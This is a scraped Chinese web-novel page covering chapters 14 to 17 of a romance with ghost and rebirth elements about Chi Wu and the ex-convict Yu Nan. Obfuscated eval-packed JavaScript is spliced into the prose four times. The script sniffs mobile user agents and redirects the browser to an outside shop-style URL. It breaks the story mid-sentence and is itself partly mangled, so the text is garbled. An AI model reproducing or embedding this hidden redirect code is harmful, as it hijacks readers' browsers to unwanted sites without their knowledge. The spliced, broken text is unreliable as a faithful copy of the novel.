;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199128|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印在白纸上,就像是把这人当成了案板上的鱼肉,正在吊起来拎到冷冰冰的称上估价,太过没人情味。 但对于苏贺年这种人来说,这是最方便快捷地来将一个人的过去通通取来,并用作筹码来评估未来的方式。 迟雾及时制止:“别和我说……..” 苏贺年的话一顿,扭头看着他的侧脸,才接着说:“你知道他入过狱?” “……..知道。”曾经于南毫不避讳这段过往,但迟雾顾忌着其中隐秘会触及于南某段难堪的过往,便没细问过,他只知道于南之所以入狱,是因为致使他的养父终身残疾。 至于其中更深层的原因,迟雾从来没去想过,在他看来,于南从来不是心思阴暗、恩将仇报咬了农夫的蛇,他动手只会是被欺压得很了。 苏贺年点了点头,颇为稀奇道:“他入狱的时候居然都没人探监,出狱后也是孑然一身,孤零零的小可怜啊。” 苏贺年的视线笔直地穿过车窗,看着前头汽车后窗里透过的人影,“但是还要小心点儿,监狱那种地方,就像是个烧糊的锅,哪怕被错扔进去的白菜,也要沾上一身焦味儿,难免被熏上了色。” 迟雾听出来他话里暗语,问:“你什么意思?他是被错判进去的?” 顿了下,迟雾又更改措辞:“有人用法子把他扔进去的?” 苏贺年耸耸肩,否认道:“我可没说,只不过查的时候发现挺怪的,他是因为致残入狱,但那‘残废’我也顺道查过了,现在日子过得还算可以,而他一个折了两条腿的人,居然前三年过往都是空白,直到最近才重新有了消息,刚好和那个于南的出狱时间对上,这很明显有人背后遮挡。” 他百无聊赖地摆弄了下头发,嘟囔道:“这么一个普普通通的又老又穷又丑的残废,有什么值得关注的,要不是你看上那谁,我这辈子都不可能知道这么一个人,对了,这人是于南的养父呢,于南居然还是个孤儿。” 苏贺年笑了笑,开玩笑般道:“他这过去真是曲折,孤儿,被收养后又殴打养父入狱,再出狱又遇见了你,一见钟情这种东西也很稀少的,一切小概率事件叠加到他身上,他还是真是天选之子,而且,更巧的是,他入狱前住的地方,离咱们学校还挺近的呢。” 迟雾的学校是除高六年一体包的贵族学校,初中与高中的教学楼紧挨着,都在城北那一片,那附近的住所小区很少,基本都是价格较高昂的小别墅,只有鲜少的老小区在更北更荒凉的方位,却也在近几年被拆了。 迟雾的手指点了点方向盘,问:“他自己住吗。” 他还是没忍住,通过别的途径来汲取和于南有关的消息。 迟雾缓了口气。 不怪他,是苏贺年引.诱他,引.诱他打开潘多拉的盒子。 苏贺年说:“没,还有一个男生。” “谁。”迟雾当即说。 苏贺年好笑地“啧”了两声,才正色道:“不知道,这于南的过往,从这儿往后就查不大清了,唯一清晰的就是他的罪行,像是他这人过去最浓墨重彩的一笔就是这个罪名了。” “很奇怪吧。”苏贺年叹了口气,说:“怕不怕?要是不怕,继续接近他,我和温琳又有新赌约了。” 苏贺年碎碎念道:“下一把就堵他的过往到底是得罪了人,还是自己真的有罪吧,你要是知道线索先告诉我一声,我挑个赢面大的来压,让温琳以后连平角裤叉都穿不起。” 14. 第 14 章 “你到底想说什么。”迟雾还记挂着他那不知道准不准成的计划,“那个本上。” 苏贺年说:“哦,那个啊,都是可实施赌约,譬如入狱真相、结婚早晚、多久离婚、离了之后会不会往来。” 他想的比谁都要远。 却一点儿实际用处都没有。 迟雾毫不犹豫地把苏贺年踹下去了,踩着点儿回到了迟家。 推开家门,就看见迟母坐在客厅长沙发上,手里端着个瓷茶杯,她听见开门声扭头看过去,见迟雾身上穿得单薄,还是早上那一套运动装,把手中茶杯放到矮茶桌上,拢了拢身上的披肩,轻声问:“去哪了?” 迟雾有所准备地扬了扬手里拎着的袋子,“出去买点儿吃的。” 迟雾走到迟母面前,弯腰拿起桌上已经备好的药,直接扔进嘴里,而后从手上塑料袋里挑拣出来瓶能量饮料,拧开盖子,刚准备用它来顺药,就被迟母伸手拦住。 迟母递上杯温水,“别用饮料来顺药,不好。” “哦。”迟雾接过水喝了两口,药片下肚。 迟母看着他把药吃进去,才站起身,低头看了眼腕表,“时间刚刚好,我要去公司一趟,你也跟着一起去瞧瞧?” 迟雾摆摆手,往沙发上一坐,掏出手机,随意翻看了下,“我也帮不上什么忙,去了也没什么用。” 他对公司里的事一向不感兴趣,迟父对他未来是否留在迟氏无甚期许,像是放开手随他选择,而迟母却总想让他往公司里走一走,更甚至想让迟延宁撒手给他些无足轻重的小事来练练手,但这样只会消磨迟延宁的耐心,回迟家的频率一再下降。 但迟延宁对迟雾这个弟弟还算不错,不苛刻,不偏见,不压迫,只是顺其自然,该怎么来就怎么来,要是让迟雾挑出来个词,就是恰到好处的相敬如宾。 现在,迟母就又想把他往公司里引。 “去看看不好吗?你马上就要上大学了,大学的时候也留在哈市吧,然后直接进公司,有你大哥带着你,没人敢给你使绊子的。”迟母笑得温和,“这样顺顺利利地过一辈子,你小时候就总说以后要一直陪在妈妈身边。” 迟母总是将迟雾的小时候挂在嘴边,这个模糊的时间节点几乎成了被刻在碑上的铭文,迟母无论说什么,都总是要用手摩挲着那洗刷不掉的童言。 她分明不是个念旧的人,却总是念着迟雾的旧。 迟雾不记得那些事、那些话,有时候,迟母在他面前念叨着那些旧事,就像是唐僧在孙猴子面前一遍遍用温和的面孔念叨着无情且蹉跎人的紧箍咒,让他无端地脑袋发痛。 迟雾的视线停留在明亮刺眼的手机屏幕上,只说:“……..再等等吧。” 其实他更想说“过去的话都是过去的了”,但他清楚的知道,要是自己真说出口了,迟母怕是要更频繁地把他往公司里逼,就像是防止他跳出某项已经设定好的程序一样,必须每步都按部就班,不容差错。 上辈子,他就是被这么塞进公司里去的。他学业差的离谱,对公司合同里的那些专业名词一窍不通,对着账本里的数字又脑袋发懵发疼,文理都行不通,最后他哥给他安排了个不用干活、只管摸鱼的闲职,为此,公司里那帮员工背地里没少取笑他,迟雾有时候无聊了都要跑去茶水间的角落里听他们骂自己的那些名词,学习一下语言的艺术,算是自己给自己找乐子。 迟雾觉得,恨一个人就坦坦荡荡地去骂,说不准他蹲在某个角落里听了一段时间,真就被骂得病入膏肓,一切诅咒成了现实,他就是个活例子。 后来他突然晕死在办公室,意识消散前还听见那些人赶来时的窃窃私语,当然,都不是什么好话就是了,唯一关心他的还是—— “迟雾流这么多鼻血,他之后是不是要天天喝红枣泡水来补血了?那以后聊天不能在茶水间了,要换个地儿了,哎,真烦心。” 记忆在两个世界里来回窜,迟雾觉得脑袋嗡了一声,像有只看不见的苍蝇在他颅内转圈。 迟雾打开微信,点进朋友圈,随手翻了翻,漫无目的,甚至连里面究竟有什么内容都看不清,就是单纯维持一个自己注意力早就跑远的假象,并以此止住迟母近一步柔软的逼压。 迟母看着他的动作,脸上的笑收敛些许,“那我先去公司了,你记得不要乱跑,今天外面风很大,会感冒的。” 说完,她拎起包,出了家门。 迟母一走。 迟雾才松了松拿着手机的手,缓了口气。 他盯着桌上茶盏徐徐升起的暖烟,放空自己。 片刻后。 迟雾又想起来件事,连忙切道到通讯录页面,找到于南的电话号,正襟危坐地改了备注,一字字敲进去。 “男、朋、友。” 迟雾笑了下,又选择这串号码,编辑了条短信发过去。 [到家了吗?] 短信发送成功,却良久没见回复。 应该是睡了吧。 迟雾盯着那串号码看了半晌。 肯定是睡了。 迟雾扯了扯外套,把拉链拉开,散了散刚才身上憋出来的汗,才往楼上走,一手拿着手机保持在短信页面,一手拎着塑料袋。 进卧室门,他把塑料袋里随手买的乱七八糟的小零食和饮料都挑拣出来放到床头上,摆了满满一堆,而后用手机拍了张照,给于南发过去。 [吃不下饭,买了点零食,好像也吃不下,你有什么好吃的推荐吗?] 发送。 迟雾才把手机放下,换上睡衣进了被窝。 早上起了个大早看医生,实在困得慌。 临睡前他定了个六点半的闹钟。 昨天掐时间来看,于南应该是八点上班,六点半起来收拾一下,再去买束花,然后到便利店门口等于南…….. 不对,把车停到便利店一条街远的地方,然后走着去,假装偶遇。 就这么定了。 这么想着。 迟雾睡了过去。 在意识消散后,迟雾感觉自己跌入了又冷又黑的冰窖里去,周身都被不留情面的寒冰包裹,冷得他瑟瑟发抖,只有一处微弱的热源正在吸引着他。 忘关窗了吗。 迟雾想着,抬手扯了扯被子,却扯了个空。 被子又被他踹地上去了。 迟雾懒得睁眼去捡被子,干脆往热源处靠了靠,但下一秒,熟悉的身体消散的感觉再次降临,还伴随着一声犬吠。 迟雾倏地睁开眼。 他对上了双金色的眼睛。 迟雾大脑宕机一瞬,霎时反应过来。 九月三! 九月三抬起爪子抓了抓迟雾衣服,一再落空后没了耐心,干脆一爪子摁到迟雾的胸膛里,穿过去,落到地面上,九月三稳了稳脚,才低下头看了眼被自己横穿躯壳的迟雾。 小鬼又回来找他玩了捏。 九月三往前走两步,又往后退两步,就这么来回在迟雾身体里穿梭着玩,像把他当成了现成的钻圈玩具。 迟雾愣了须臾,才手撑着地站起身,站到九月三的身旁,又低头看了眼自己身上的衣服。 蓝白条纹相间的病号服。 不是梦? 他又变成鬼了? 什么情况。 他现在是人鬼状态随机变换? 那他到底是人还是鬼??? 迟雾觉得这问题就像是把他这个大文盲给扔进了深奥的时空黑洞里去,他想探索、想深挖,但无奈脑袋空空,拿起铲子连该从哪个角度开始挖都不知道,他只知道黑洞里冷冷的,还有只欠嗖嗖的狗在他身体里来回穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他这样,未取得于南同意,算不算骚.扰? 算吧。 可是于南又不知道。 等于南以后喜欢上他了,一定会同意的。 他不过是、不过是提前贴了一下而已。 思想斗争片刻,迟雾又咽了下口水,动作温吞地收回手,而后用视线细细描摹于南那张脸。 太瘦了。 该胖一点。 该多吃点好吃的。 他该多请于南吃饭。 想着。 迟雾又想,那他请于南吃饭,可以提前索要报酬吗? 只要一点点就好。 一点点。 迟雾缓缓俯下身,整个身影彻底融入黑暗中去。 嘴唇相贴。 冰冷压着温热。 迟雾紧绷着身体,控制着高度,避免自己再下压分毫就让身体变成雾状,从而打破他这自欺欺人的美梦。 他一只手摸到了薄毯下,任由热温压盖着手掌,假装这是于南的主动亲近。 欲望是一条无岸的河,漂泊的小舟在其中荡漾,只需一个轻轻的吻,就可以掀起一片波浪。 迟雾小心翼翼地挪动嘴唇。 他亲吻着于南的嘴唇、鼻尖、眼睛…….. 还有额头。 最后一吻落下。 迟雾轻声说:“晚安,祝你好梦。” 而后,他查看了下于南掌心的伤口,见纱布表面无血液渗出,才松了口气。 迟雾将头靠在床边,闭上了眼。 周遭阒然无声。 良久。 迟雾又小声说:“我想伸舌头,我不要接着柏拉图了。” 没人回应他。 只有远处的九月三趴在地上盯着他的背影。 当然。 还有床头那本圣经,正以苍白且无人理会的信仰与神明威慑着这只天不怕地不怕的小鬼。 迟雾叹了口气。 他想和于南接吻。 不对,是激吻! 15. 第 15 章 于南是被凉飕飕的冷风给冻醒的。 于南睁开眼,手下意识朝身旁冰凉一片的位置探了探,却只摸到了床褥。他将受伤的手贴放在最冷处片刻,像是走神般,视线停留在天花板上的黑暗处,而后缓慢地,如同暮日降落的轨迹般点点划落到卧室门口处延伸而来的有限光亮点。 九月三正趴在那儿睡觉。 于南从枕边摸起手机,发现才六点钟,他睡了差不多五个小时。而屏幕上停留的信息也掠夺了他的全部注意力。 手指在手机上摁了两下,点入信息页面。 迟雾发过来的三条消息停留在屏幕上。 于南点开那张照片,看了眼。 摆满床头柜的零食,旁边还摆放着被零食遮挡住一小角的全家福照片。浅棕色相框将照片圈起来,照片里是一家四口,迟父迟母并肩而立,面带浅笑,迟父身侧站着已然八九岁的迟延宁,而迟母怀里则抱着尚在襁褓中的迟雾,这张照片里的迟雾笑得比谁都要灿烂,手里抓着两个小巧的玩具,直勾勾地盯着镜头,眸底亮光闪烁。 美好,和睦,幸福。任谁看了这张照片都会有这种想法。 而照片旁边摆着的,就是照片里迟雾抓着的两个小汽车玩具。 屏幕的光亮投在脸上,投在于南黑眸底端。 于南盯着照片看了两秒,才退出,用那只完好的手敲着键盘回了条信息。 [到家了,刚睡醒。我知道有家面馆的炸酱面很好吃,但是很多年没去过了,不知道它还开不开门。] 发送信息后,于南盯着页面半晌,又敲了条。 [要一起去看看吗?] 这行字闪烁着停留在聊天框内。 思忖片刻,于南还是将它删除了。 算了。 再等等。 于南掀开薄毯,下了床,走到九月三面前,蹲下身,伸手摸了摸它的脑袋。 九月三呜咽着往他掌心里蹭,还怯生生地抬起眼看了于南一下,才小心翼翼地伸出舌头舔了下他的掌心,用自己的方式谨慎地示好。 于南轻声说:“知道你不是故意的,是我故意的,做的很好。” 他抓了抓九月三的下巴,而后走到房门前,从靠墙的位置立着的塑料袋里拿出两根火腿肠,剥了塑料外皮,一根直接放在九月三面前的地板上,一根自己咬了一口,而后缓慢温吞地咀嚼着。 咀嚼东西的时候,他更像是设定好程序的机器人,牙齿上下咬动,面上却没有半分神情,冷淡得好像根本尝不出来什么应有的味道。 吃了小半根,于南就将剩下的火腿肠摆成小截,走过去放到小饭碗里,又在里面放了半个已经凉了的包子,放到九月三面前。 “吃吧。” 九月三一边吃着碗里的东西,一边用余光紧盯着他。 于南却从挂在墙上的工作服里掏出盒烟,叼上一根,点燃,吸了口,才走到房门前拿起地上那袋药。他坐到床边,一手夹着烟,一手拿着盒药,借着微弱的光看上面的说明字眼。 一盒盒挨个看完。 于南才把药规整地摆在床边,接着吸烟。 身上那种紧紧缠绕的凉意还未散去,就像是一只看不见的毒蛇正在窥探着他的一切,只等待一个恰当的时机就会毫不犹豫地咬住他的动脉,一击致命。 于南四处扫视了下卧室。 脏东西又来了? 应该是。 于南拿起床头的圣经,翻开两页,简单看了眼,发现里面都是些抽象思维。 也不知道鬼能不能看得懂。 迟雾正趴在床边睡着,却陡然感觉掌心压着的暖意已然散尽。全身上下只剩下无尽的冷。他无意识地皱了皱眉,从睡梦中挣脱出来,一睁开眼,映入眼帘的就是“圣经”两个大字。 他眨了眨眼,视野里的模糊感渐渐消退,圣经素白书页之上,是只白皙瘦削的手,手上缠绕大半肌肤的绷带像是神圣之下的半个十字架,看得人晃眼。 “于南。”迟雾叫:“你醒了?” 当然没人回应他。 迟雾直起身,才发现自己竟然始终维持着跪在地面上的姿势并睡着了。现在他的膝骨又麻又痛。 迟雾呲牙咧嘴好一阵,才缓过来些。 但那双腿还是不大灵巧。 他干脆坐在地板上,背靠着床垫。 耳侧是时停时起的翻书声。 破圣经有什么好看的。 当年于南死了留下那本圣经都快被迟雾翻烂了,哪页是什么内容,有多少个字,他都一清二楚。 也就这时候迟雾信了那句勤能补拙——倒背如流都不是奇迹。 迟雾一直觉得于南有种难以言喻的魅力,尤其是抽烟的时候,烟雾朦胧,聚拢着无法消散,而在烟雾深处端坐着个看书的男人。 于南就差个金丝框眼镜了。 迟雾撑着脸看他,想,哪天给于南买个眼镜。 烟很快燃到了尽头,一缕烟灰掉落到圣经上。 于南伸手随意地擦了擦。 迟雾看着。 哦,原来那滩黑乎乎的痕迹是烟灰啊。 之前他还纠结了好久,把阴谋论都给照搬出来仔细考究,这到底是蜡笔刻意画上的求救信号,还是做标记时不经意间划出来的乱线。 于南把烟掐灭在身侧立着的半满矿泉水瓶里。那个水瓶中已经扔进去了五六根烟蒂,水也变成了浑浊的灰黑色。 他翻开身侧的塑料袋,从里面找出绷带和敷药,在拧开装着敷药的盒子那刹,刺激性气体一瞬升腾而起,和浓厚的烟草味相伴交织,成了种说不出来的味道,不大难闻,但也绝对不算好闻。 九月三的鼻子动了动,走过来,用脑袋拱了拱于南腿弯处,而后稍微低着头,把脑袋搭在他大腿根部,凑近去闻那敷药的味道。 于南看了他眼,稍微伸直胳膊,把敷药拿远些,才腾出手去掀开手背上的绷带。 他动作很慢,迟雾仿佛还能听见绷带脱离血肉那刻发出不明显的声音,那微弱的声音就像是把没开刃的刀子不紧不慢地在他脖颈处来回划弄,他分明知道那无甚危险,却还是忍不住紧绷起来全身上下的肌肉,心也跟着上下悬浮。 迟雾控制住想别开头的欲望,把视线落到那伤口上去,拧着眉头看于南换药。 于南的动作又快又轻,看起来就极有经验,像是久病成良医。 发现这点后,迟雾看了眼于南的脊柱处。 单薄的衣服下被凸出的脊柱支起条稍高的线。 那条线如今尚且还算笔直,没看出来有严重侧弯的趋势。 迟雾原本以为于南处理伤口那熟能生巧的劲儿是脊柱伤着后经常照顾自己养出来的本事,现在看,原来于南这么早就会这种事了。 怎么学的,在监狱里学的吗? 迟雾和九月三对上视线,问它:“九月三,你知道吗?” 九月三转动眸子,重新看向于南手上的伤口。 于南动作利落,快速上好敷药,换了新纱布在上面围裹了两层,整洁漂亮。 迟雾伸出手去触碰了下纱布外没包裹住的手指。 于南收回手的动作一顿。 而后,迟雾听见他一字一顿地说—— “别碰我。” 于南似乎能看见迟雾般,不偏不倚地和他对上视线。 四周死寂,迟雾明显感觉到自己的心脏停跳了一秒,尤其是看着于南那又冷又凶的表情,那是他从未见过的,就同从一封情书里拆出的决裂一样,前一秒还满心酸软,后一刻便整个人都成了戛然而止的雕塑。 迟雾嚅嗫了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199130|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴唇,一寸寸地收回手。 “于南,你能看见我了?我以为……我、我不是故意……..” 话还没说完,于南就收回视线,把圣经放到床上,而后引着九月三去了那个勉强能称作客厅的小窄间里。他直接坐在地板上,从不知何处抽出来那本高数书来看。九月三乖顺地趴在他的腿上。 迟雾僵硬地站直身子,一时不知是该进还是退。 “……..于南?”他试探性地叫了声。 而后他又反应过来,于南没戴助听器,根本听不见他的话。 迟雾抿抿唇,缓慢靠近。 九月三紧盯着他。 于南却自此没了反应。 迟雾的心揪攥着,每一步都极其温吞缓慢,视线还停留在于南的脸上观察着他的神情,见他没再露出那沉着脸的表情,才敢再靠近一步。就这样,十步距离的路,他硬是踟蹰了八分钟。 直到两人之间距离维持到一步左右,迟雾停住。 他想了想,小声说:“于南,我只是想看看你伤口怎么样了,不是故意摸你手的,你不喜欢的话,以后我就不摸了。” 等了会儿。 迟雾又想起来。 靠。 于南没戴助听器啊,听不见。 这么一会儿他又忘了。 笨脑子。 迟雾干脆伸手在于南眼前晃来晃。 于南却没有任何反应,仍旧低头看着书。 迟雾干脆梗着脖子把手压到书页上。 于南抬眼了,却不是看他,而是思绪放空地盯着远处正对着的墙壁。他揉了揉太阳穴,把高数书合上,换了本别的。 这下,迟雾才注意到,墙角堆叠着不少本书,但大部分都是数学书,小部分是些文科理论书,不过理科书都是大学教材,文科的则是些高中教材,但相同的是,这些书都有一个特点——老旧泛黄,出版有些年头。 于南这是想自己考大学? 迟雾细思了下,于南以前好像提过一嘴,他少年时想自学考个大学,最后也确实考上了,不过是考的心理学专业。 但现在看这些书,完全没有往心理学方面奔的趋势。而且,要是考大学的话,看的也不该是高数书吧,难不成是考研?于南已经上过大学了? 找不到答案,干脆将问题扔到脑后。 迟雾拄腮,看着于南的动作。 等于南挑了本文科理论书来看,他才再次把手掌伸到他面前。 可此刻于南又像看不见他了一样,无论如何都没有反应。好似之前突如其来的一句不过是迟雾记忆错乱导致的幻觉。 迟雾思忖两秒,再次将手压到于南的手掌上。 在两人手掌贴合那刻。 于南开口道:“你冷吗?” 吓得迟雾赶紧收回手。 于南感觉到手上凉意消失,接着说:“你碰我的时候,我很冷。” 迟雾往后缩了缩。 于南等了片刻,再没感受到凉风,便接着看手里的书。 迟雾摊开掌心,怔怔地想,原来他摸于南的时候,于南会很冷啊。 所以于南还是看不见他,但是能感觉到。 于南不怕吗? 迟雾百思不得其解。 他再次往前伸了下手掌,在即将触碰到于南那刻,九月三猛地一跃,扑压迟雾。 “叮铃铃!” 视野成了晃动的层层漩涡,可视的一切成了消融的奶油,堆叠成看不出原本形态的一片狼藉。 迟雾整个人忽上忽下,仿佛倏地漂浮起来,又坠落在地。 视野再次清晰那刻,耳旁的闹铃声也如此清晰。 迟雾大口喘气,手往旁边摸去。 漆黑房间内,手机屏幕亮起。 六点半了。 16. 第 16 章 迟雾直起身。 “梦?还是真的又变成鬼了?”他低声喃喃。 反应了两秒,他快速翻看手机信息,找到于南回复的消息,查看了眼。 他犹豫了两秒,回了条。 [要一会儿去吃吗?] 过了两分钟,那边才回消息。 [可能来不及,八点钟要上班。] 迟雾回。 [来得及,我现在去接你,可以吗?] 迟雾一跃下床,打开衣柜,在里面挑挑拣拣,突然发现,他的衣服居然大部分都是迟母置办的,他自己买的只有两件,还都是休闲装,穿在身上舒适自在,但实在不适合约会。 他愁眉苦脸了好一会儿。 “要不自己diy一下?”迟雾喃喃自语道。 他在脑袋里勾画了下在电视上看的那些裁缝大制作的过程,缝缝线,剪剪布,应该不难吧。 迟雾从衣柜里挑了两套纯色的衣服,盯着看了好半晌,脑袋里简单勾勒了个图纸,给自己设了个定位——就按着那种宽肩窄腰、远看斯文败类、近看甜美可人的类型来。 他刚准备出去找把大剪子来,放在床边的手机就又震动了下。 于南回话。 [等我的伤好了再请你吃好吗?] 这是委婉的拒绝了。 迟雾瞬间成了个泄掉气的皮球,把手里抓着的两件衣服都扔到了床上,自己也紧跟着往后一瘫。 吃不成饭了,也没理由开屏了。 迟雾垂头丧气了好一阵,才重振旗鼓地又发过去条信息。 [你的手还疼吗?] 想了想,迟雾又添了条。 [我做梦梦到你给伤口换药了,看起来好疼,你换药了吗?对了,那些药记得饭后吃,不然会胃疼。] 发送成功。 这次那边回消息的速度快很多。 [不疼了,你在挂念我。] 意味不明的陈述,含糊不清的态度。 迟雾想,这是打个巴掌给个甜枣吗。 怪不得犬类总是看不透人类的把戏。 因为这套把戏确实让他想顺着杆子接着往上爬,只为看一眼下一个黑匣子里装着的到底是诱人的甜枣,还是迎面而来的巴掌。 迟雾没接着发短信,而是干脆打过去通电话。 等待提示音响了良久,直到迟雾以为电话将要自动挂断时,那头才接通。 “喂。”于南的声音很低,嗓子有些哑。 手机音量不知什么时候调到最大,这声音在耳边持续性地回荡,迟雾觉得就像是于南站在自己面前喊出这句话一样,耳朵耳鸣了两秒。 迟雾揉了揉耳朵,把手机音量调低了些,才说:“于南,发短信太麻烦了,所以就干脆给你打电话了,你不介意吧?” 他都已经付诸行动,才找补似得问了句,比起询问,这更像是一句让人不忍直白表达喜恶的试探。 果不其然。 于南说:“没关系。” 迟雾笑了笑,说:“于南,你吃药了吗?” “还没。”于南说:“过一会儿吃完饭就去吃药。” “好,别忘了,蓝盒子的吃两片,其余的都吃一片。”迟雾提醒道:“要用温水服用,不要喝饮料。” 他自己都未必能遵从,却搬到场面上来装模作样地说给于南听。 于南轻笑了声,他说:“好。” 之后。 两人不约而同地安静下来,只有对方的呼吸声通过电子设备传播到耳畔处,却没人主动提起挂断电话。 迟雾坐直身子,听着那端的呼吸声,他下意识地说:“于南,今天很冷,记得多穿些衣服,不然会感冒的,鼻塞喘不过气的时候很难受。” 于南“嗯”了一声,他扭头看着毫无装饰、只有斑驳裂痕如同细雨划落的白墙,好想维持着这个姿势,就能在墙上望出个透光的窗户,再透过窗户看一眼外界的天气,是明是暗,是晴是雨。 可事实上,他对天气的预测只来自电话另一端那人的关切,还是突如其来,如雷雨般降临的关怀,不知为何降临,不知何时结束。 于南垂下眼睫,说:“你也要多穿些衣服,注意保暖。” 迟雾瞬间露出个灿烂的笑,好像眼前正站在那人般,他笑着说:“知道了,谢谢关心。” 于南似乎应了声,又似乎没有,听得不大清楚,但清楚地是他那如同要终止这通电话的起语:“还有事吗?” 迟雾太知道他的话中话了,无非就是“没事我就挂了”或是“我还有事,先去忙了”,但总得来说结局都是一样的,就是停止这个——他们这辈子的第一通电话。 迟雾看了眼通话时间,才一分钟出头,怎么也要凑个吉利数,至少凑个五分钟二十秒吧。 他便连忙说:“有!” 于南那头没了动静,大有洗耳恭听之意。 迟雾咽了下口水。 他想说的实在是太多了,但适合此刻和这个与他还维持着比陌生人稍微亲近一点的关系的于南来说的话实在是太少了,掰着手指头就能数得完。 迟雾挑拣了下,先问:“你手掌受伤了,会不会不方便工作?要不然来我家住几天吧?我照顾你。” 顿了顿,又补充了句:“把九月三带来也行,我教教他和人类相处的规范动作,我有个朋友家里养了好多只狗,很有经验,我以前跟他学过不少东西。” 其实压根儿没这个朋友的存在。 一切都是随便胡诹来的谎话,反正也无从辨认真假,先把于南骗过来再说。 至于住哪儿,迟雾也想好了,他就说去温琳那儿住几天,以前温琳也来迟家住过不少次,迟母保准不会起疑,然后他就可以在外面租个房子,带着于南私奔了。 两人一狗,一个家。 刚刚好。 日久生情。 只要把于南骗来,他不信还培养不出来感情。 但于南只说:“没关系的,不碍事。” 于南又笑了声,说:“你别愧疚,我不用你补偿什么。” 可他越这么说,迟雾心里就越像被无数只小狗挠着一般,又痛又麻,他想把于南骗来自己身边,还想让那伤口转移到自己身上。 迟雾干脆摊牌说:“可是我就是想照顾你,这伤是因为我才留的,于南,给我个机会吧,至少让我做点儿什么,帮你换药,或者是帮你做些别的也可以。” “别的?”于南重复了遍。 “对。”迟雾连忙道:“无论什么方面,只要你需要,小迟同学立马就位。” 其实他想的是于南手受伤了保准不方便洗澡,这个时候他当然会心无杂念地伸出援手,并且帮于南清洁好每一寸角落,为确保万无一失,他还要每天早晚各洗一次。 迟雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199131|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的算盘打得噼里啪啦比炸雷爆开那瞬还要响,但于南一句话直接让他那颗颗磨得圆润光滑的算盘珠子把他的门牙都给砸了个窟窿出来。 于南说:“那你能教我高中数学吗?” 迟雾:“?” 迟雾寸寸皲裂,保持沉默。 理智告诉他,这个他真做不到。 感性告诉他,为了爱没什么不行的。 天使和恶魔各据一方,对视时空气中噼里啪啦地闪着雷电火光。 “这个……..”迟雾不知道该怎么接着说。 于南低头看着趴在腿上的九月三,伸出根手指弯曲着抚弄它的头顶,而他说话时那不急不缓的节奏与抚摸犬类的动作相合,“让你为难了吗?那算了。” 迟雾当即一咬牙道:“没有,但是我数学水平……..” 他权衡着找了个还算适中的形容词:“……..只能算是中等偏上,还算不上最上等,可能教人有点儿没那么通透,我有个朋友数学特别好,你要是需要,我可以让他来教你。” 这个朋友当然也是虚构的。 话先撂出来,至于后续的坑该怎么填都是以后的事,和今天放下大话的迟雾毫无关系。 于南却说:“我的数学水平很差,迟雾,中等偏上已经特别厉害了,你教我就好了。” 迟雾只好硬着头皮说:“好吧,那我去找我朋友请教一下教人数学的技巧,如果到时候我教的不好,再换人。” 迟雾尚且存在侥幸心理,他觉得,于南可能就是一时兴起,只为了找个理由来减轻他内心的愧疚感,才提出这么个辅导数学的办法。于南都看高数书了,怎么可能高中数学还学不明白。说不准没几天,于南就又找个已经学透彻的理由来把他打发了。 迟雾觉得自己就是当代福尔摩斯。 但又觉得一阵头疼。 一个劣质碎瓷碗,怎么装成千年老古董啊? 打肿脸充胖子也不是随便哪个骷髅兵都能学的。 “好。”于南说:“明天开始吗?” 迟雾:“?” 晴天霹雳无异于此。 这也太快了,赶鸭子上架好歹还让鸭子喝口水呢,他这连个缓冲的时间都不舍得给,简直要把他当成塑料瓶废品来压干、压瘪。 迟雾觉得舌头打结了,“等、等几天吧。” 于南似乎笑了声,听不大清,声音很轻,但可以确信的是,他心情不错,说话时的语调温和:“好,听你的。” 听你的。 这三个字曾经一度被迟雾奉为最甜美的毒药,下肚那刻甜得他舌尖都打颤,但进了胃里,后来翻上来的胃酸又让人倒牙,而毒药穿肠的后果就是让他更爱于南。 于南总爱说这种话,迟雾也爱听,但这时候出现,却让迟雾有种被逼喝药的感觉。 迟雾想,他希望心甘情愿喝下毒药的副作用是能一夜精通数理化,并且附赠一颗聪明绝顶的大脑,如果那样的话,哪怕是敌敌畏递到面前,他也能犹豫两秒就立马——扔掉。 他当然不会真喝毒药,他只喝于南这个魔法师熬制的情毒。他还不想早死,好不容易重新来过,再放弃,就是不折不扣的傻.逼了。 迟雾缓了数秒,才说:“下周吧,你想从哪开始学?” 于南说:“高三教材吧,在我家学习还是找个咖啡馆?” 迟雾毫不犹豫道:“你家!” 17. 第 17 章 挂断电话。 迟雾长长地舒了口气。 